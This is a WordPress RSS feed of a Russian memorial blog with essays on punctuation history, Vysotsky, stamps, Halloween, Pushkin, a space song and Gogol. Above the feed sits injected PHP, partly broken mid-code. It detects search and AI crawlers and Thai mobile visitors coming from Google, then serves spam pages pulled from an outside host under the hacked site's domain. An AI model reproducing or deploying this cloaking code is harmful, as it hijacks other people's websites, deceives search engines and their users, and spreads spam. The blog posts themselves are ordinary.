$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Культура и искусство — Вечный путь к совершенству https://www.vladimirkoskov.ru О Володе, о том, что он любил, чем жил и в чем видел смысл жизни Fri, 19 May 2023 15:06:56 +0000 ru-RU hourly 1 https://wordpress.org/?v=6.9.4 https://www.vladimirkoskov.ru/wp-content/uploads/2021/12/cropped-apple-touch-icon-32x32.png Культура и искусство — Вечный путь к совершенству https://www.vladimirkoskov.ru 32 32 История зарождения знаков препинания https://www.vladimirkoskov.ru/?p=2501 Sat, 01 Oct 2022 06:55:56 +0000 https://www.vladimirkoskov.ru/?p=2501

Первые знаки препинания появились в 3 веке до нашей эры, а предложил их управляющий знаменитой Александрийской библиотекой, древнегреческий филолог Аристофан. До этого в текстах пренебрегали не только запятыми или тире, но и заглавными буквами или даже пробелами. В Древней Греции и Риме в то время больше ценили хорошо подготовленную и убедительную речь.

Аристофан предложил использовать три вида знаков: точку посреди строки (·), снизу (.) и наверху (·), которые он назвал: запятой, двоеточием и периодом. Они мало походили тогда на нынешние знаки препинания, и скорее были комментарием к тексту относительно интонации и длины пауз.

Римлян не впечатлило новаторство Аристофана и на период их господства знаки препинания снова пропали из манускриптов. Тем не менее и римляне делали попытку разграничивать слова точками (мама·мыла·раму), но без особого энтузиазма — во 2 веке нашей эры они были отменены. Культ публичных выступлений был слишком силен в те времена и произносимые ораторами речи не читались по бумаге, а заучивались ими наизусть.

Знаки препинания вернулись в книги только с приходом христианской культуры в 4-5 веках нашей эры: если язычники могли передавать свои традиции устно, то для христианской культуры книги стали центральной частью ее идентичности. Псалтырь, четыре Евангелия — слово Божье шло по миру и активно украшалось декоративными буквами, замысловатыми гравюрами и, конечно, разными знаками.

страница из Августовского Вергилия, IV век
страница из Августовского Вергилия, 4 век нашей эры

Христианские авторы начали использовать знаки препинания примерно в 6 веке, чтобы расставлять в текстах акценты, помогавшие избежать двусмысленностей и недопонимания читателей. В 7 веке архиепископ Исидор Севильский  вернулся к системе уже подзабытой Аристофана. При этом старые знаки он наделил новыми дополнительными смыслами. Нижняя точка (.) теперь стала обозначает не только паузу между словами, но приобрела грамматические функции первой в истории запятой, в то время как верхняя точка (·) стала означать конец предложения. Уже в 8 веке, наконец-то, появились и пробелы между словами. Ввели их ирландские и шотландские монахи, уставшие вычленять отдельные слова из бесконечной вереницы плохо знакомых латинских букв.

Архиепископ Исидор Севильский

С тех пор система точек, предложенная Аристофаном, стала в средневековой Европе общепризнанной и постепенно развилась.

В результате, аристофановские точки стали постепенно вырождаться. С появлением более специфических знаков различия между ними стали настолько тонкими, что авторам наскучили эти маленькие, средние и продолжительные паузы. Теперь точку можно было ставить в любом месте текста, а означала она нечто среднее между современной запятой, точкой с запятой и, соответственно, точкой.

Совершенно новую систему пунктуации в 12 веке предложил итальянский писатель Бонкомпаньо да Синья. В ней было всего два знака: слэш (/) для обозначения пауз и тире (—) для завершения предложения. Слэш сразу же стал невероятно популярен. Компактный и хорошо заметный, он подходил для обозначения пауз гораздо лучше аристофановских запятых.

Окончательно система пунктуации сложилась с выпуском первой печатной Библии: в ней знак слэш Бонкомпаньо да Синья сжался, обзавелся хвостом, опустился вниз и стал современной запятой, в компанию к средневековой точке с запятой и восклицательному знаку присоединились похожие на них двоеточие и знак вопросительный, а древнегреческая точка наконец нашла свое законное место в конце предложения. Для писателей этого набора было вполне достаточно, а печатный процесс зафиксировал его в качестве стандарта на многие века вперед.

]]> Как выглядит та самая Зина из песни Владимира Высоцкого «Диалог у телевизора» https://www.vladimirkoskov.ru/?p=2001 Tue, 27 Sep 2022 14:30:44 +0000 https://www.vladimirkoskov.ru/?p=2001
Зинаида Славина

«А у тебя подруги, Зин, все вяжут шапочки для зим» — эти строчки из песни Владимира Высоцкого знакомы каждому его фанату. Но далеко не все они догадывались кто эта Зина. Оказалось, что героиней была реально существовавшая актриса Зинаида Славина. Она вместе с Высоцким выступала в Театре на Таганке.

Владимир никогда не скрывал, что восхищался красотой и талантом партнерши и называл ее любимой театральной звездой. Их дуэт стал украшением спектакля «Добрый человек из Сезуана». При этом, никакого романа в жизни между коллегами не было. Даже милую деталь — вязанье — Высоцкий подметил у Зинаиды: она бралась за спицы в любой перерыв между репетициями. Зинаида Славина вспоминала: «Когда начали репетировать, даже в глаза не смотрел. Бледный, зажатый.

Сцена из спектакля «Добрый человек из Сезуана»

Как будто на казнь шел. Я к нему, он все – мимо, мимо… А Юрий Петрович учил: когда общаетесь, вы – петелька и крючочек, петелька и крючочек. Я сразу не поняла, а потом стала учиться вязать, и все встало на свои места. В свободное время шапочки мастерила, даже в театре. Володя удивлялся: «Зин! Ну, зачем? Тебе это совсем не надо». Только когда уже начались спектакли, его нерв наконец слился с моим. И были овации. Всегда… Потом он песню про меня написал – «Диалог у телевизора»: «А у тебя подруги, Зин, Все вяжут шапочки для зим. От ихних скучных образин Дуреешь, Зин».

Карьера в кино у Славиной не задалась, зато на сцене театра она блистала вплоть до преклонного возраста. Замуж актриса вышла в возрасте 45 лет за мужчину, который не мел отношения к искусству. 79-летняя Зинаид скончалась в 2019 году, пережив своего близкого друга Высоцкого почти на 40 лет.

Диалог у Телевизора. Владимир Семенович Высоцкий (слушать и смотреть)

— Ой, Вань, гляди, какие клоуны.
Рот — хоть завязочки пришей…
Ой, до чего, Вань, размалеваны,
И голос — как у алкашей
А тот похож — нет, правда, Вань, —
На шурина — такая ж пьянь.
Ну нет, ты глянь, нет-нет, ты глянь, —
Я — вправду, Вань.

— Послушай, Зин, не трогай шурина:
Какой ни есть, а он — родня, —
Сама намазана, прокурена —
Гляди, дождешься у меня.
А чем болтать — взяла бы, Зин,
В антракт сгоняла в магазин…
Что, не пойдешь? Ну, я — один, —
Подвинься, Зин.

— Ой, Вань, гляди, какие карлики.
В джерси одеты, не в шевьет, —
На нашей пятой швейной фабрике
Такое вряд ли кто пошьет.
А у тебя, ей-богу, Вань,
Ну все друзья — такая рвань
И пьют всегда в такую рань
Такую дрянь.

— Мои друзья — хоть не в Болонии,
Зато не тащат из семьи, —
А гадость пьют — из экономии:
Хоть поутру — да на свои.
А у тебя самой-то, Зин,
Приятель был с завода шин,
Так тот — вообще хлебал бензин, —
Ты вспомни, Зин.

— Ой, Вань, гляди-кось — попугайчики
Нет, я, ей-богу, закричу.
А это кто в короткой маечке?
Я, Вань, такую же хочу.
В конце квартала — правда, Вань, —
Ты мне такую же сваргань…
Ну что «отстань», всегда «отстань».
Обидно, Вань.

— Уж ты б, Зин, лучше помолчала бы —
Накрылась премия в квартал.
Кто мне писал на службу жалобы?
Не ты? Да я же их читал.
К тому же эту майку, Зин,
Тебе напяль — позор один.
Тебе шитья пойдет аршин —
Где деньги, Зин?

— Ой, Вань, умру от акробатиков.
Гляди, как вертится, нахал.
Завцеха наш — товарищ Сатиков —
Недавно в клубе так скакал.
А ты придешь домой, Иван,
Поешь и сразу — на диван,
Иль, вон, кричишь, когда не пьян.
Ты что, Иван?

— Ты, Зин, на грубость нарываешься,
Все, Зин, обидеть норовишь.
Тут за день так накувыркаешься…
Придешь домой — там ты сидишь.
Ну, и меня, конечно, Зин,
Все время тянет в магазин, —
А там — друзья… Ведь я же, Зин,
Не пью один.

— Ого, однако же, гимнасточка.
Ой, что творит, хотя в летах.
У нас в кафе молочном «Ласточка»
Официантка может так.
А у тебя подруги, Зин,
Все вяжут шапочки для зим.
От ихних скучных образин
Дуреешь, Зин.

— Как, Вань? А Лилька Федосеева,
Кассирша из ЦПКО.
Ты к ней все лез на новоселье…
Она так очень ничего.
А чем ругаться, лучше, Вань,
Поедем в отпуск в Еревань.
Ну, что «Отстань»? Всегда «Отстань».
Обидно, Вань!

]]> Если на почтовой марке нет названия страны, — значит, это марка Великобритании. https://www.vladimirkoskov.ru/?p=1989 Mon, 26 Sep 2022 13:42:57 +0000 https://www.vladimirkoskov.ru/?p=1989 В соответствии с международными соглашениями на каждой почтовой марке должно стоять название выпустившей ее страны латинскими буквами. Однако есть исключение – Великобритания освобождена от такой обязанности как первая в истории страна, использовавшая марки. Так что, если на почтовой марке нет названия страны, — значит, это марка Великобритании.

1 мая 1840 года на лондонском почтамте произошло историческое событие: в продажу поступили первые в мире почтовые марки с портретом королевы Виктории. Выполнена в чёрном цвете и имеет достоинство в 1 пенни (отсюда название – «Черный пенни»). С 6 мая 1840 года марки разрешили наклеивать на конверты и использовать при пересылке писем. Это была первая официальная почтовая марка, которая имела еще и клеевую оборотную сторону. Общий тираж этой марки составил: 68 808 000 штук. В наше время, в 2009 году Аукционный Дом Сотбис оценил такую негашёную марку в 20 625 фунтов стерлингов.

Черный Пенни

Вообще идея о бумажной наклейке как знаке почтовой оплаты предлагалась в разное время, а сама почтовая марка имеет предшественников. Так в 1653—1654 — Жан-Жак Ренуар де Вилайе, по разрешению Людовика XIV организовал регулярную почтовую службу в Париже. Были выпущены лентообразные билеты оплаты почтового сбора по цене в 1 соль, которыми обёртывали почтовые отправления или которые вкладывались в них так, чтобы были видны письмоносцу. На ленточных билетах стоял особый штемпель Ренуара де Вилайе и слова «port payé, le… jour de l’an 1653 (1654)» («оплачено, … дня, года 1653 (1654)»). Неизвестно, была ли на билете обозначена цена — ни одного экземпляра не сохранилось.

С марками связано много удивительных фактов. Так в начале XX века на почтовом штемпеле в США, которым почтовая служба гасила марки при отправке, помещали метеорологические данные (прогноз погоды), сообщавшиеся каждое утро метеорологической станцией. Получатель вместе с письмом получал, таким образом, в штемпеле прогноз о предстоящем перемени погоды. Как же быстро должно быть доставлялись письма?!

«После ухода из жизни Ее Величества королевы Елизаветы II королевская почта подтверждает, что марки с изображением Ее Величества королевы Елизаветы II остаются применимыми для использования», — отмечается в сообщении почтового ведомства, распространенном в пятницу, 16.09.2022.

Вот на таком станке печаталась первая партия Черный Пенни.

Королева, которая умерла накануне в шотландском замке Балморал, правила 70 лет и семь месяцев — дольше всех в истории Великобритании. На протяжении этого времени все почтовые отправления совершались при помощи марок с ее изображением, оно же с середины прошлого века украшало все банкноты фунта стерлингов.

Ранее Банк Англии заверил, что такие банкноты продолжат быть законным денежным средством. О том, когда на них появится изображение нового короля Карла III, будет объявлено регулятором по завершении национального траура. Он начался в пятницу и должен продлиться 17 дней.

Со временем Банк Англии, а также почта заменят все монеты, банкноты и марки, на которых изображена Елизавета II.

Этот процесс должен затронуть не только Великобританию, но и Австралию, Канаду, Новую Зеландию, Ямайку и десяток других стран, главой которых по-прежнему формально является британский монарх.

В четверг газета «Гардиан» сообщала, что процесс замены находящихся в обращении британских банкнот, на которых размещен портрет умершей королевы Великобритании Елизаветы II, на новые с изображением короля Карла III займет не менее двух лет.

]]> Откуда взялся Хеллоуин и причем тут тыквы? https://www.vladimirkoskov.ru/?p=1978 Sun, 25 Sep 2022 13:21:21 +0000 https://www.vladimirkoskov.ru/?p=1978 Как и многие праздники, Хэллоуин уходит корнями в наше сельскохозяйственное прошлое, знаменуя окончание сбора урожая и начало нового года. Самайна — древний языческий кельтский праздник, который означает «конец лета». Древние кельты считали, что завеса между мирами живых и мертвых была самой тонкой во время Самайна, что делало это время идеальным для общения с умершими и предсказания будущего.

И именно в это время в полночь можно увидеть бредущим по темным закоулкам Джека О’Лантерна (Джека-Фонаря), который ищет кого-то, кто поможет найти покой его грешной душе. Его история рассказана в древней ирландской легенде о Скупом Джеке. Согласно этой легенде, жил когда-то очень хитрый и скупой пьянчужка Джек. Однажды, в канун Дня всех святых, т.е. 31 октября, встретился он в баре с самим Дьяволом. Джек так сильно напился, что решил потягаться в хитрости с самой нечестью. Он предложил Дьяволу свою душу в обмен на последнюю кружку выпивки. Дьявол согласился и превратился в шесть пенсов, чтобы заплатить бармену за выпивку. Джек быстрехонько засунул их в свой кошелек, и кинул туда свой серебряный крестик. Дьявол не смог обратиться обратно и взмолился выпустить его. Джек не выпускал Дьявола до тех пор, пока тот не пообещал ему, что не будет претендовать на его душу в течение десяти лет. Дьявол сдержал слово, и через десять лет он вернулся за Джеком, встретив его на дороге. Дьявол уже хотел было забрать его, но Джек, решил, что и в это раз сможет обмануть Дьявола и у него это получилось. Он попросил Дьявола исполнить его последнее желание – залезть и достать яблоко с растущей неподалеку яблони. Когда Дьявол оказался на дереве, Джек вынул нож и высек крест на стволе дерева, и Дьявол не смог спуститься обратно, чтобы забрать Джека или его душу. И опять Дьяволу пришлось уступить Джеку, пообещав, что он оставит Джека в покое и, даже, когда Джек умрет, Дьявол не заберет его душу. Джек возгордился, он был так рад, что смог обмануть нечистую силу. Но, вот пришло время умирать, и Джек отправился в мир иной. Бог не захотел, чтобы такой коварный человек был на небесах, в раю и не взял Джека к себе. А дьявол, как и обещал, не пустил его в ад. Так Джек, который думал, что всех обманул, сам попался. Теперь он обречен неприкаянный вечно скитаться между двух миров ожидая судного дня или пока не найдется кто-то, кто согласится ценой своей собственной бессмертной души, помочь ему обрести покой. В Хеллоуин, когда грань между миром умерших и живых тонка, можно видеть Джека, бредущего с фонарем из вырезанной тыквы (первое, что попалось Джеку под руку), в которой горит никогда не гаснущий огонек из самого пекла ада, который он обменял у Дьявола на свою душу. Вот так и появился Джек-О’Лантерн, (что переводится как Джек-Фонарь (Джек с Фонарем), с которым тот вечно скитается между мирами.

Впрочем, история знает и другую более правдоподобную версию происхождения термина «Джек с фонарем». В Великобритании XVIII века выражением «Jack-o’-lantern» называли ночных сторожей, которые обходили городские кварталы с фонарями в руках. В те далекие времена, британцы частенько использовали в качестве обращения к незнакомому мужчине не слова вроде «young man» (молодой человек) или «man» (мужчина), а очень тогда распространенное имя «Jack» (Джек). Таким образом получилось, что каждого незнакомого сторожа с фонарем в руке можно было назвать «Джек с фонарем».

Но тыква не сразу стала фонарем Джека на Хэллоуин. В те времена. Когда зародилась эта легенда люди не знали, что такое тыква и самым распространённые была репа. Про нее-то в легенде и рассказывалось. Тыква сменила репу, когда англичане переселились в Америку, где и познакомились с тыквой, которая там более распространена, чем репа.  Тыква, как нельзя лучше подходит для фонаря Джека. Большая и выглядит более зловеще, чем репа и больше подходит на роль образа «проклятой души».

Такой фонарь из тыквы со временем стали использовать, чтобы отпугивать нечисть. В те времена люди верили, что духи и призраки покидали свои могилы в канун Хэллоуина и искали тепла в своих прежних домах. Жители, боясь, что души бывших хозяев навестят их дома, одевались в костюмы, чтобы напугать призраков и прогнать их прочь. В то же время, они оставляли еду и другие угощения у двери, чтобы угодить духам, думая, что тогда они не будут уничтожать их дома и урожай, а тихонько уйдут. Они очищали репу от внутренностей, рисовали или делали разрезы в виде глаз, носа, рта, ставили внутрь свечи, надеясь, что образ проклятой души отгонит призраков от их домов.

Каждый год в Хеллоуин, языческий праздник кельтов, нечисть пытается остаться на земле и установить здесь свои порядки. Но неизбежно за 31 октября наступает 1 ноября – римско-католический праздник — День всех святых, который переходит во 2 ноября – День всех душ. Это потому что католики верят, что существует мощная духовная связь между теми, кто на небесах и живыми. Поэтому 1 ноября католики посещают надгробия, чтобы почтить память умерших родственников, а в День всех душ они молятся за те души, которые, как считается, находятся в чистилище, потому что они умерли с грехом.

]]> Осень. Александр Пушкин https://www.vladimirkoskov.ru/?p=1375 Fri, 09 Sep 2022 12:55:33 +0000 https://www.vladimirkoskov.ru/?p=1375 I

Октябрь уж наступил — уж роща отряхает
Последние листы с нагих своих ветвей;
Дохнул осенний хлад — дорога промерзает.
Журча еще бежит за мельницу ручей,
Но пруд уже застыл; сосед мой поспешает
В отъезжие поля с охотою своей,
И страждут озими от бешеной забавы,
И будит лай собак уснувшие дубравы.

II

Теперь моя пора: я не люблю весны;
Скучна мне оттепель; вонь, грязь — весной я болен;
Кровь бродит; чувства, ум тоскою стеснены.
Суровою зимой я более доволен,
Люблю ее снега; в присутствии луны
Как легкий бег саней с подругой быстр и волен,
Когда под соболем, согрета и свежа,
Она вам руку жмет, пылая и дрожа!

III

Как весело, обув железом острым ноги,
Скользить по зеркалу стоячих, ровных рек!
А зимних праздников блестящие тревоги?..
Но надо знать и честь; полгода снег да снег,
Ведь это наконец и жителю берлоги,
Медведю, надоест. Нельзя же целый век
Кататься нам в санях с Армидами младыми
Иль киснуть у печей за стеклами двойными.

IV

Ох, лето красное! любил бы я тебя,
Когда б не зной, да пыль, да комары, да мухи.
Ты, все душевные способности губя,
Нас мучишь; как поля, мы страждем от засухи;
Лишь как бы напоить, да освежить себя —
Иной в нас мысли нет, и жаль зимы старухи,
И, проводив ее блинами и вином,
Поминки ей творим мороженым и льдом.

V

Дни поздней осени бранят обыкновенно,
Но мне она мила, читатель дорогой,
Красою тихою, блистающей смиренно.
Так нелюбимое дитя в семье родной
К себе меня влечет. Сказать вам откровенно,
Из годовых времен я рад лишь ей одной,
В ней много доброго; любовник не тщеславный,
Я нечто в ней нашел мечтою своенравной.

VI

Как это объяснить? Мне нравится она,
Как, вероятно, вам чахоточная дева
Порою нравится. На смерть осуждена,
Бедняжка клонится без ропота, без гнева.
Улыбка на устах увянувших видна;
Могильной пропасти она не слышит зева;
Играет на лице еще багровый цвет.
Она жива еще сегодня, завтра нет.

VII

Унылая пора! очей очарованье!
Приятна мне твоя прощальная краса —
Люблю я пышное природы увяданье,
В багрец и в золото одетые леса,
В их сенях ветра шум и свежее дыханье,
И мглой волнистою покрыты небеса,
И редкий солнца луч, и первые морозы,
И отдаленные седой зимы угрозы.

VIII

И с каждой осенью я расцветаю вновь;
Здоровью моему полезен русской холод;
К привычкам бытия вновь чувствую любовь:
Чредой слетает сон, чредой находит голод;
Легко и радостно играет в сердце кровь,
Желания кипят — я снова счастлив, молод,
Я снова жизни полн — таков мой организм
(Извольте мне простить ненужный прозаизм).

IX

Ведут ко мне коня; в раздолии открытом,
Махая гривою, он всадника несет,
И звонко под его блистающим копытом
Звенит промерзлый дол и трескается лед.
Но гаснет краткий день, и в камельке забытом
Огонь опять горит — то яркий свет лиет,
То тлеет медленно — а я пред ним читаю
Иль думы долгие в душе моей питаю.

X

И забываю мир — и в сладкой тишине
Я сладко усыплен моим воображеньем,
И пробуждается поэзия во мне:
Душа стесняется лирическим волненьем,
Трепещет и звучит, и ищет, как во сне,
Излиться наконец свободным проявленьем —
И тут ко мне идет незримый рой гостей,
Знакомцы давние, плоды мечты моей.

XI

И мысли в голове волнуются в отваге,
И рифмы легкие навстречу им бегут,
И пальцы просятся к перу, перо к бумаге,
Минута — и стихи свободно потекут.
Так дремлет недвижим корабль в недвижной влаге,
Но чу! — матросы вдруг кидаются, ползут
Вверх, вниз — и паруса надулись, ветра полны;
Громада двинулась и рассекает волны.

XII

Плывет. Куда ж нам плыть?..

1833 г.

 

]]> Замысел достойный гения https://www.vladimirkoskov.ru/?p=3219 Wed, 01 Jun 2022 21:01:08 +0000 https://www.vladimirkoskov.ru/?p=3219
Это камень на могиле композитора Альфреда Шнитке. На нем нет привычных дат, нет и имени. Только гравированные музыкальные знаки.
Выше  нотоносца знак Фермата, означающий пока не растает звук.
Далее идет знак Целая пауза, обозначающий длительность тишины. И в этом случае он знаку фермата в сочетании с паузой придает новый смысл —  вечная тишина.
А знак fff под знаком паузы означает Форте-форте-фортиссимо, т.е. Самое самое громкое.
Все вместе можно прочитать как Вечная оглушающая тишина.
]]> «Заправлены в планшеты космические карты…» Песня из далёкого детства… https://www.vladimirkoskov.ru/?p=1572 Tue, 12 Apr 2022 10:52:05 +0000 https://www.vladimirkoskov.ru/?p=1572 Мало кто знает, что автор самой знаменитой космической песни — Владимир Войнович.
«Заправлены в планшеты космические карты» он написал в 1960 году, когда работал на Всесоюзном радио. Написал просто так, на волне всеобщего ликования и веры в безусловное покорение галактик.

Но вот Его величество случай. Осенью 1960-го вдруг срочно потребовалась песня о космосе. Никто не знал, что первый полет планировался именно тогда, но по техническим причинам был перенесен на апрель. Приказ пришел с самого верха, медлить было нельзя, а желающих написать стихи среди именитых поэтов не оказалось. Войнович, робея, предложил свою кандидатуру, а начальство согласилось, потому что это был единственный вариант и выбора не было. Редактор по телефону надиктовала слова композитору Оскару Фельцману, тот за несколько часов написал музыку и сразу стали искать исполнителя. Хотели Бернеса, но не нашли, и «Четырнадцать минут до старта» спел Владимир Трошин.

В эфир песня вышла на следующий день после записи, так что «наутро он проснулся знаменитым» — это про Войновича. Песню народ полюбил и запел, на новоиспеченного поэта-песенника посыпались предложения. А уж когда когда в 12 апреля 1961 года Гагарин полетел в космос, хит мгновенно стал гимном.

К сожалению, цензоры «в целях дальнейшего улучшения» надругались над текстом. «Планету голубую» исправили на «дорогую», «пыльные тропинки» далеких планет предлагали заменить на «новые» или «первые», поскольку грязи быть не должно. Войнович отстоял пыль, объяснив, что она космическая, а дворников в космосе пока нет…

В1962 году Николаев и Попович прямо в полете спели песню дуэтом, это правда. Кстати, покорители вселенной тоже захотели внести коррективы. Им категорически не понравилась фраза «закурим перед стартом», и они заменили ее на «споемте перед стартом». Ведь космонавты не курят! Здесь автор оказался бессильным. Так и пошло…

«Четырнадцать минут до старта» — https://www.youtube.com/watch?v=-KM_rhyqE40

Заправлены в планшеты
Космические карты,
И штурман уточняет
В последний раз маршрут.
Давайте-ка, ребята,
Закурим перед стартом:
У нас еще в запасе
Четырнадцать минут.

Я верю, друзья,
Караваны ракет
Помчат нас вперед —
От звезды до звезды.
На пыльных тропинках
Далеких планет
Останутся наши следы.

Когда-нибудь с годами
Припомним мы с друзьями,
Как по дорогам звездным
Вели мы первый путь.
Как первыми сумели
Достичь заветной цели
И на родную землю
Со стороны взглянуть.

Я верю, друзья,
Караваны ракет
Помчат нас вперед —
От звезды до звезды.
На пыльных тропинках
Далеких планет
Останутся наши следы.

Давно нас ожидают
Далекие планеты,
Холодные планеты,
Безмолвные поля.
Но ни одна планета
Не ждет нас так, как эта
Планета дорога
По имени Земля.

Я верю, друзья,
Караваны ракет
Помчат нас вперед —
От звезды до звезды.
На пыльных тропинках
Далеких планет
Останутся наши следы.

]]> Мертвые души https://www.vladimirkoskov.ru/?p=4023 Thu, 31 Mar 2022 22:36:25 +0000 https://www.vladimirkoskov.ru/?p=4023 Если в стихах безусловным фаворитом Володи был Александр Сергеевич Пушкин, за его умение писать одновременно легко и информативно, то в прозе он отдавал несомненное лидерство Николаю Васильевичу Гоголю, а особенно его поэме «Мертвые души». Он знал многие необычайные детали жизни Гоголя. Считал правильными его осуждения в адрес Пушкина, что тот много времени тратил понапрасну в кутежах и отдыхе, в то время, как надобно много работать и максимально использовать свой талант во блага народа. С точки зрения Володи, Пушкин правильно сделал, что подарил сюжет Мертвых душ Гоголю, сам бы он настолько хорошо с прозой не справился.

Непонятно, когда он на все находил время, но Володя  знал не только детальный сюжет второго, утраченного тома Мертвых душ, но даже разыскал дневники с заметками для третьего тома. Называл Гоголя величайшим писателем, который непонят и недооценен. Не понимал, как страна, имевшая такого писателя, который еще в начале 19 века высмеял все пороки и недостатки общества, так до сих пор ничего и не сделала, чтобы излечиться от них. Говорил — смени декорации на современные и обнаружишь, что, по-прежнему, все до последнего слова правда: Души — Мертвые . Ему не нравилось, что практически все вокруг считали это произведение муторным и занудным. В подтверждение тому, что никто на самом деле просто не читал это произведение (хотя все говорят, что знают его, потому что проходили его в школе), Володя задавала простой вопрос: В чем заключалась махинация Чичикова с мертвыми душами? Зачем он их покупал?

Каждый год мы приходили на Никитский бульвар, где во дворе Дома Гоголя находится памятник Николаю Васильевичу, созданный на деньги людей. Очень интересный и душевный монумент, который интересно по долгу разглядывать, и который так разительно отличается от того, что был поставлен поставлен во времена СССР неподалеку, на Арбатской площади,

Здесь любимый Володин моноспектакль «Мертвые души» в исполнении восхитительного и неподражаемого Александра Филиппинко. Мы засмотрели его до дыр и разобрали на цитаты.

]]> История на тарелке https://www.vladimirkoskov.ru/?p=3152 Fri, 04 Feb 2022 21:51:01 +0000 https://www.vladimirkoskov.ru/?p=3152 Казалось бы, что общего у трехмерных видеопроекций и ресторанного бизнеса. Но создатели проекта Le Petit Chef смогли выйти за рамки всеобщего понимания и создать уникальный продукт, который активно привлекает клиентов, средства массовой информации, партнеров и инвесторов. Авторы идеи – Антон Вербик и Филип Стеркс из бельгийской студии Skullmapping, работавшие над созданием ряда проектов с визуализациями на фасадах зданий и даже на земле. Изначально видео о Le Petit Chef должно было просто демонстрировать возможности 3D-мэппинга для ресторанного и event-бизнеса.

Главный герой авторского шоу «Маленький Шеф: по следам Марко Поло» ростом всего 58 мм. Он путешествует по странам – ему удается побывать в Индии, Китае и Гималаях. Во время своего путешествия он осматривает достопримечательности и не забывает при этом находить ингредиенты для своих кулинарных шедевров. Посетителю ресторана в это же время по ходу сюжета подают выбранные им блюда и напитки. Маленький повар старательно готовит аппетитное и красивое блюдо, сталкиваясь при этом с различными сложностями. Сюжеты мини-фильмов могут различаться в зависимости от того, какое блюдо готовится. Есть версии, которые показывают захватывающий процесс приготовления супа из морепродуктов, стейка, пицца или десерта из мороженого с ягодами и соусом. Но лучше один раз увидеть…

Итак, наслаждайтесь!

А теперь равиолли!

Любителям пицца Каприччио.

И напоследок отправляемся в путешествие в диковинные страны.

]]> Музей времени в Тегеране, Иран https://www.vladimirkoskov.ru/?p=2975 Sun, 23 Jan 2022 19:39:52 +0000 https://www.vladimirkoskov.ru/?p=2975 В Тегеране имеется множество удивительных старинных музеев и особняков, которые являются главными туристическими достопримечательностями города. Одним из самых необычных из них можно назвать особняк Хосейна Ходадада, в котором располагается первый в Иране Музей времени.

 

Особняк окружает сад, в котором можно увидеть среди большого множества старинные и дорогих часов, некоторые необычные и непривычные для нас экспонаты музея. Это солнечные, водяные, механические, масляные, песочные часы.

Солнечные часы, использовавшиеся еще шумерами.

Это самый первый и древний способ, с помощью которого люди научились определять течение времени. Появление этих часов связано с моментом, когда человек осознал взаимосвязь между длиной и положением солнечной тени от тех или иных предметов и положением Солнца на небе. Время определяется по изменению длины тени и от специального указателя закрепленного на циферблате.

Водяные механические часы.

В сложных водяных часах уже использовались циферблат с перемещающейся по нему стрелкой, груз в качестве движущей силы, колесные передачи, механизм боя и марионетки, разыгрывавшие различные сцены.

Масляные часы.

